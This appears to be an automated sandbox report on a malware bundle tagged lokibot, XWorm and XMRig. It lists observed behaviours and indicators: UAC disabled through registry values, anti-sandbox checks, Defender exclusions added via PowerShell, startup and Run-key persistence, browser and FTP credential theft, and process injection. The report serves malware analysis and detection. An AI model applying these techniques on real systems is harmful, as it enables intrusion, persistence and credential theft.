lokibot | 16930620b3b9166e0ffbd98f5d5b580c9919fd6ccdcc74fb996f53577f508267

Processes:

reg.exereg.exereg.exe

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	reg.exe

Xmrig family
xmrig
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs

Query Registry

Virtualization/Sandbox Evasion

Processes:

unik.exerandom.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	unik.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	random.exe

XMRig Miner payload 4 IoCs

miner

Processes:

resource	yara_rule
behavioral1/memory/5868-6049-0x00007FF685150000-0x00007FF685DA0000-memory.dmp	xmrig
behavioral1/memory/7224-8697-0x0000000005C40000-0x0000000006890000-memory.dmp	xmrig
behavioral1/memory/5868-8715-0x00007FF685150000-0x00007FF685DA0000-memory.dmp	xmrig
behavioral1/memory/7224-8882-0x0000000005C40000-0x0000000006890000-memory.dmp	xmrig

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow	pid	Process
213	5124	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	Process
7792	powershell.exe
8116	powershell.exe
8644	powershell.exe
5972	powershell.exe
7616	powershell.exe
9924	powershell.exe
5124	powershell.exe
5724	powershell.exe

Downloads MZ/PE file

Sets file to hidden 1 TTPs 1 IoCs

Modifies file attributes to stop it showing in Explorer etc.

credential_access stealer

Hidden Files and Directories

T1564.001

Processes:

attrib.exe

pid	Process
5428	attrib.exe

Uses browser remote debugging 2 TTPs 5 IoCs

Can be used control the browser and steal sensitive information such as credentials and session cookies.

Steal Web Session Cookie

T1539

Modify Authentication Process

Processes:

chrome.exechrome.exechrome.exechrome.exemsedge.exe

pid	Process
2484	chrome.exe
592	chrome.exe
7116	chrome.exe
6628	chrome.exe
8776	msedge.exe

Checks BIOS information in registry 2 TTPs 4 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

random.exeunik.exe

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	random.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	unik.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	unik.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	random.exe

Checks computer location settings 2 TTPs 13 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

rstxdhuj.exeSystem.exePORNHU~1.EXEexbuild.exepornhub_downloader.exewscript.exe._cache_System.exewscript.exewscript.exepornhub_downloader.exemshta.exeSystem.exeSynaptics.exe

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	rstxdhuj.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	System.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	PORNHU~1.EXE
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	exbuild.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	pornhub_downloader.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	._cache_System.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	pornhub_downloader.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	System.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	Synaptics.exe

Drops startup file 4 IoCs

Processes:

taskmgr.exeWinsvc.exe._cache_System.exe

description	ioc	Process
File opened for modification	\??\c:\users\admin\appdata\roaming\microsoft\windows\start menu\programs\startup\stacktrace.vbs	taskmgr.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StackTrace.vbs	Winsvc.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System.lnk	._cache_System.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System.lnk	._cache_System.exe

Executes dropped EXE 52 IoCs

Processes:

pornhub_downloader.exePORNHU~1.EXEgetlab.exegetlab.tmpexbuild.exeberryplayer32.exeHkbsse.exerstxdhuj.exetest6.exeHkbsse.exeWinsvc.exeTPB-1.exegvndxfghs.exegvndxfghs.exegvndxfghs.exegvndxfghs.exerandom.exeunik.exexblkpfZ8Y4.exetest28.exetest26.exetest27.exetest29.exetest24.exetest25.exeSystem.exe._cache_System.exeSynaptics.exemain_v4.exetik-tok-1.0.5.0-installer_iPXA-F1.exeTikTok18.exeTikTok18.exefHR9z2C.exeHkbsse.exeGTA_V.exepapa_hr_build.exedmshell.exe._cache_Synaptics.exeGTA_V.tmpAmLzNi.exepapa_hr_build.exevcredist_x86.exeXClient.exepornhub_downloader.exe._cache_pornhub_downloader.exeGTA_V.exeGTA_V.tmpdmshell.exerstxdhuj.exe._cache_rstxdhuj.exeSystem.exe._cache_System.exe

pid	Process
2100	pornhub_downloader.exe
6128	PORNHU~1.EXE
7020	getlab.exe
5392	getlab.tmp
7096	exbuild.exe
6172	berryplayer32.exe
6384	Hkbsse.exe
6508	rstxdhuj.exe
7576	test6.exe
4720	Hkbsse.exe
6140	Winsvc.exe
6716	TPB-1.exe
6324	gvndxfghs.exe
8032	gvndxfghs.exe
8176	gvndxfghs.exe
8116	gvndxfghs.exe
2260	random.exe
7408	unik.exe
5868	xblkpfZ8Y4.exe
6904	test28.exe
7648	test26.exe
6508	test27.exe
7560	test29.exe
7692	test24.exe
7868	test25.exe
6892	System.exe
9564	._cache_System.exe
7224	Synaptics.exe
7216	main_v4.exe
8800	tik-tok-1.0.5.0-installer_iPXA-F1.exe
9020	TikTok18.exe
8968	TikTok18.exe
2296	fHR9z2C.exe
6992	Hkbsse.exe
5096	GTA_V.exe
6340	papa_hr_build.exe
9636	dmshell.exe
9676	._cache_Synaptics.exe
10100	GTA_V.tmp
3620	AmLzNi.exe
6700	papa_hr_build.exe
7164	vcredist_x86.exe
8088	XClient.exe
8592	pornhub_downloader.exe
9152	._cache_pornhub_downloader.exe
9192	GTA_V.exe
9628	GTA_V.tmp
6408	dmshell.exe
10080	rstxdhuj.exe
5748	._cache_rstxdhuj.exe
9924	System.exe
4932	._cache_System.exe

Identifies Wine through registry keys 2 TTPs 2 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

Query Registry

Virtualization/Sandbox Evasion

Processes:

random.exeunik.exe

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Wine	random.exe
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Wine	unik.exe

Loads dropped DLL 64 IoCs

Processes:

getlab.tmpberryplayer32.exeSynaptics.exeGTA_V.tmpMsiExec.exeGTA_V.tmp

pid	Process
5392	getlab.tmp
6172	berryplayer32.exe
7224	Synaptics.exe
7224	Synaptics.exe
7224	Synaptics.exe
7224	Synaptics.exe
7224	Synaptics.exe
7224	Synaptics.exe
7224	Synaptics.exe
7224	Synaptics.exe
7224	Synaptics.exe
7224	Synaptics.exe
7224	Synaptics.exe
7224	Synaptics.exe
7224	Synaptics.exe
7224	Synaptics.exe
7224	Synaptics.exe
7224	Synaptics.exe
7224	Synaptics.exe
7224	Synaptics.exe
7224	Synaptics.exe
7224	Synaptics.exe
7224	Synaptics.exe
7224	Synaptics.exe
7224	Synaptics.exe
7224	Synaptics.exe
7224	Synaptics.exe
7224	Synaptics.exe
7224	Synaptics.exe
7224	Synaptics.exe
7224	Synaptics.exe
7224	Synaptics.exe
7224	Synaptics.exe
7224	Synaptics.exe
7224	Synaptics.exe
7224	Synaptics.exe
7224	Synaptics.exe
7224	Synaptics.exe
7224	Synaptics.exe
7224	Synaptics.exe
10100	GTA_V.tmp
10100	GTA_V.tmp
7224	Synaptics.exe
7224	Synaptics.exe
9512	MsiExec.exe
9512	MsiExec.exe
9628	GTA_V.tmp
9628	GTA_V.tmp
10100	GTA_V.tmp
10100	GTA_V.tmp
10100	GTA_V.tmp
10100	GTA_V.tmp
10100	GTA_V.tmp
10100	GTA_V.tmp
10100	GTA_V.tmp
10100	GTA_V.tmp
10100	GTA_V.tmp
10100	GTA_V.tmp
10100	GTA_V.tmp
10100	GTA_V.tmp
10100	GTA_V.tmp
10100	GTA_V.tmp
10100	GTA_V.tmp
10100	GTA_V.tmp

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Unexpected DNS network traffic destination 1 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

Processes:

description	ioc
Destination IP	45.155.250.90

Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

Processes:

gvndxfghs.exe

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	gvndxfghs.exe
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook	gvndxfghs.exe
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	gvndxfghs.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

Processes:

vcredist_x86.exerstxdhuj.exeSystem.exe

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	vcredist_x86.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Ylrdnrwcx = "C:\\Users\\Admin\\AppData\\Roaming\\Ylrdnrwcx.exe"	rstxdhuj.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Synaptics Pointing Device Driver = "C:\\ProgramData\\Synaptics\\Synaptics.exe"	System.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

msiexec.exe

description	ioc	Process
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

Processes:

flow	ioc
351	bitbucket.org
352	bitbucket.org
349	bitbucket.org

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow	ioc
432	ip-api.com

Enumerates processes with tasklist 1 TTPs 2 IoCs

discovery

Process Discovery

T1057

Processes:

tasklist.exetasklist.exe

pid	Process
10192	tasklist.exe
10076	tasklist.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

defense_evasion privilege_escalation

Processes:

firefox.exe

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Roaming\\Mozilla\\Firefox\\Desktop Background.bmp"	firefox.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

random.exeunik.exe

pid	Process
2260	random.exe
7408	unik.exe

Suspicious use of SetThreadContext 6 IoCs

Processes:

rstxdhuj.exegvndxfghs.exeWinsvc.exepapa_hr_build.exe

description	pid	Process	procid_target
PID 6508 set thread context of 7620	6508	rstxdhuj.exe	188
PID 6324 set thread context of 8032	6324	gvndxfghs.exe	201
PID 6324 set thread context of 8176	6324	gvndxfghs.exe	202
PID 6324 set thread context of 8116	6324	gvndxfghs.exe	203
PID 6140 set thread context of 5228	6140	Winsvc.exe	234
PID 6340 set thread context of 6700	6340	papa_hr_build.exe	259

UPX packed file 4 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral1/files/0x0007000000023e9b-3940.dat	upx
behavioral1/memory/5868-3944-0x00007FF685150000-0x00007FF685DA0000-memory.dmp	upx
behavioral1/memory/5868-6049-0x00007FF685150000-0x00007FF685DA0000-memory.dmp	upx
behavioral1/memory/5868-8715-0x00007FF685150000-0x00007FF685DA0000-memory.dmp	upx

Drops file in Program Files directory 1 IoCs

Processes:

msiexec.exe

description	ioc	Process
File created	C:\Program Files (x86)\Common Files\Microsoft Shared\VC\msdia80.dll	msiexec.exe

Drops file in Windows directory 58 IoCs

Processes:

msiexec.exeexbuild.exe

description	ioc	Process
File created	C:\Windows\WinSxS\InstallTemp\20241127211245852.0\x86_Microsoft.VC80.OpenMP_1fc8b3b9a1e18e3b_8.0.50727.6195_x-ww_452bf920.manifest	msiexec.exe
File created	C:\Windows\WinSxS\InstallTemp\20241127211245852.0\x86_Microsoft.VC80.OpenMP_1fc8b3b9a1e18e3b_8.0.50727.6195_x-ww_452bf920.cat	msiexec.exe
File opened for modification	C:\Windows\WinSxS\InstallTemp\20241127211245873.0	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI824D.tmp	msiexec.exe
File created	C:\Windows\WinSxS\InstallTemp\20241127211245654.0\x86_Microsoft.VC80.CRT_1fc8b3b9a1e18e3b_8.0.50727.6195_x-ww_44262b86.manifest	msiexec.exe
File created	C:\Windows\WinSxS\InstallTemp\20241127211245779.0\x86_Microsoft.VC80.MFCLOC_1fc8b3b9a1e18e3b_8.0.50727.6195_x-ww_6a5bb789.cat	msiexec.exe
File opened for modification	C:\Windows\WinSxS\InstallTemp\20241127211245904.0	msiexec.exe
File created	C:\Windows\WinSxS\InstallTemp\20241127211245654.0\msvcp80.dll	msiexec.exe
File created	C:\Windows\WinSxS\InstallTemp\20241127211245779.0\x86_Microsoft.VC80.MFCLOC_1fc8b3b9a1e18e3b_8.0.50727.6195_x-ww_6a5bb789.manifest	msiexec.exe
File created	C:\Windows\WinSxS\InstallTemp\20241127211245779.0\mfc80CHT.dll	msiexec.exe
File created	C:\Windows\WinSxS\InstallTemp\20241127211245633.0\ATL80.dll	msiexec.exe
File created	C:\Windows\WinSxS\InstallTemp\20241127211245779.0\mfc80CHS.dll	msiexec.exe
File created	C:\Windows\WinSxS\InstallTemp\20241127211245862.0\8.0.50727.6195.cat	msiexec.exe
File opened for modification	C:\Windows\WinSxS\InstallTemp\20241127211245862.0	msiexec.exe
File opened for modification	C:\Windows\WinSxS\InstallTemp\20241127211245923.0	msiexec.exe
File created	C:\Windows\WinSxS\InstallTemp\20241127211245714.0\x86_Microsoft.VC80.MFC_1fc8b3b9a1e18e3b_8.0.50727.6195_x-ww_150c9e8b.manifest	msiexec.exe
File created	C:\Windows\WinSxS\InstallTemp\20241127211245923.0\8.0.50727.6195.cat	msiexec.exe
File created	C:\Windows\Tasks\Hkbsse.job	exbuild.exe
File created	C:\Windows\WinSxS\InstallTemp\20241127211245654.0\msvcr80.dll	msiexec.exe
File created	C:\Windows\WinSxS\InstallTemp\20241127211245779.0\mfc80KOR.dll	msiexec.exe
File created	C:\Windows\WinSxS\InstallTemp\20241127211245862.0\8.0.50727.6195.policy	msiexec.exe
File created	C:\Windows\WinSxS\InstallTemp\20241127211245894.0\8.0.50727.6195.policy	msiexec.exe
File created	C:\Windows\WinSxS\InstallTemp\20241127211245894.0\8.0.50727.6195.cat	msiexec.exe
File opened for modification	C:\Windows\WinSxS\InstallTemp\20241127211245894.0	msiexec.exe
File created	C:\Windows\Installer\e5b4a54.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\WinSxS\InstallTemp\20241127211245714.0\mfcm80u.dll	msiexec.exe
File created	C:\Windows\WinSxS\InstallTemp\20241127211245923.0\8.0.50727.6195.policy	msiexec.exe
File created	C:\Windows\Installer\e5b4a58.msi	msiexec.exe
File created	C:\Windows\WinSxS\InstallTemp\20241127211245779.0\mfc80DEU.dll	msiexec.exe
File created	C:\Windows\WinSxS\InstallTemp\20241127211245779.0\mfc80FRA.dll	msiexec.exe
File created	C:\Windows\WinSxS\InstallTemp\20241127211245904.0\8.0.50727.6195.policy	msiexec.exe
File created	C:\Windows\WinSxS\InstallTemp\20241127211245873.0\8.0.50727.6195.policy	msiexec.exe
File created	C:\Windows\WinSxS\InstallTemp\20241127211245633.0\x86_Microsoft.VC80.ATL_1fc8b3b9a1e18e3b_8.0.50727.6195_x-ww_a4c618fa.manifest	msiexec.exe
File created	C:\Windows\WinSxS\InstallTemp\20241127211245714.0\mfc80.dll	msiexec.exe
File created	C:\Windows\WinSxS\InstallTemp\20241127211245779.0\mfc80ESP.dll	msiexec.exe
File created	C:\Windows\WinSxS\InstallTemp\20241127211245779.0\mfc80ITA.dll	msiexec.exe
File created	C:\Windows\WinSxS\InstallTemp\20241127211245714.0\x86_Microsoft.VC80.MFC_1fc8b3b9a1e18e3b_8.0.50727.6195_x-ww_150c9e8b.cat	msiexec.exe
File created	C:\Windows\WinSxS\InstallTemp\20241127211245779.0\mfc80JPN.dll	msiexec.exe
File opened for modification	C:\Windows\Installer\e5b4a54.msi	msiexec.exe
File created	C:\Windows\WinSxS\InstallTemp\20241127211245654.0\x86_Microsoft.VC80.CRT_1fc8b3b9a1e18e3b_8.0.50727.6195_x-ww_44262b86.cat	msiexec.exe
File created	C:\Windows\WinSxS\InstallTemp\20241127211245714.0\mfc80u.dll	msiexec.exe
File created	C:\Windows\WinSxS\InstallTemp\20241127211245654.0\msvcm80.dll	msiexec.exe
File created	C:\Windows\WinSxS\InstallTemp\20241127211245714.0\mfcm80.dll	msiexec.exe
File opened for modification	C:\Windows\WinSxS\InstallTemp\20241127211245852.0	msiexec.exe
File created	C:\Windows\WinSxS\InstallTemp\20241127211245873.0\8.0.50727.6195.cat	msiexec.exe
File created	C:\Windows\WinSxS\InstallTemp\20241127211245904.0\8.0.50727.6195.cat	msiexec.exe
File opened for modification	C:\Windows\WinSxS\InstallTemp\20241127211245779.0	msiexec.exe
File created	C:\Windows\Installer\SourceHash{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI603D.tmp	msiexec.exe
File opened for modification	C:\Windows\WinSxS\InstallTemp\20241127211245714.0	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\WinSxS\InstallTemp\20241127211245852.0\vcomp.dll	msiexec.exe
File opened for modification	C:\Windows\WinSxS\InstallTemp\20241127211245654.0	msiexec.exe
File created	C:\Windows\WinSxS\InstallTemp\20241127211245633.0\x86_Microsoft.VC80.ATL_1fc8b3b9a1e18e3b_8.0.50727.6195_x-ww_a4c618fa.cat	msiexec.exe
File created	C:\Windows\WinSxS\InstallTemp\20241127211245779.0\mfc80ENU.dll	msiexec.exe
File opened for modification	C:\Windows\WinSxS\InstallTemp\20241127211245633.0	msiexec.exe

Access Token Manipulation: Create Process with Token 1 TTPs 1 IoCs

Create Process with Token

T1134.002

Processes:

mshta.exe

pid	Process
6108	mshta.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

Processes:

netsh.exenetsh.exe

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Program crash 6 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	Process	procid_target
4364	8176	WerFault.exe	202
6420	6340	WerFault.exe	251
8472	6700	WerFault.exe	259
2944	6700	WerFault.exe	259
7720	2260	WerFault.exe	208
7116	6716	WerFault.exe	198

System Location Discovery: System Language Discovery 1 TTPs 39 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

Synaptics.exe4363463463464363463463463.exeHkbsse.exepowershell.exemsiexec.exeGTA_V.tmpSystem.exenet.exegvndxfghs.exemain_v4.exepapa_hr_build.exeexbuild.exegvndxfghs.exeSystem.exenet1.exerandom.exeMsiExec.exepapa_hr_build.exevcredist_x86.exeGTA_V.exerstxdhuj.exePORNHU~1.EXErstxdhuj.exepowershell.exeTikTok18.exeGTA_V.tmpberryplayer32.exeTPB-1.exetik-tok-1.0.5.0-installer_iPXA-F1.exeunik.exeTikTok18.exeGTA_V.exepornhub_downloader.exegetlab.exegvndxfghs.exe4363463463464363463463463.exepornhub_downloader.exegetlab.tmpInstallUtil.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Synaptics.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4363463463464363463463463.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Hkbsse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	GTA_V.tmp
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	System.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gvndxfghs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	main_v4.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	papa_hr_build.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	exbuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gvndxfghs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	System.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	random.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	papa_hr_build.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vcredist_x86.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	GTA_V.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rstxdhuj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PORNHU~1.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rstxdhuj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TikTok18.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	GTA_V.tmp
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	berryplayer32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TPB-1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tik-tok-1.0.5.0-installer_iPXA-F1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	unik.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TikTok18.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	GTA_V.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pornhub_downloader.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	getlab.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gvndxfghs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4363463463464363463463463.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pornhub_downloader.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	getlab.tmp
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	InstallUtil.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

taskmgr.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	taskmgr.exe
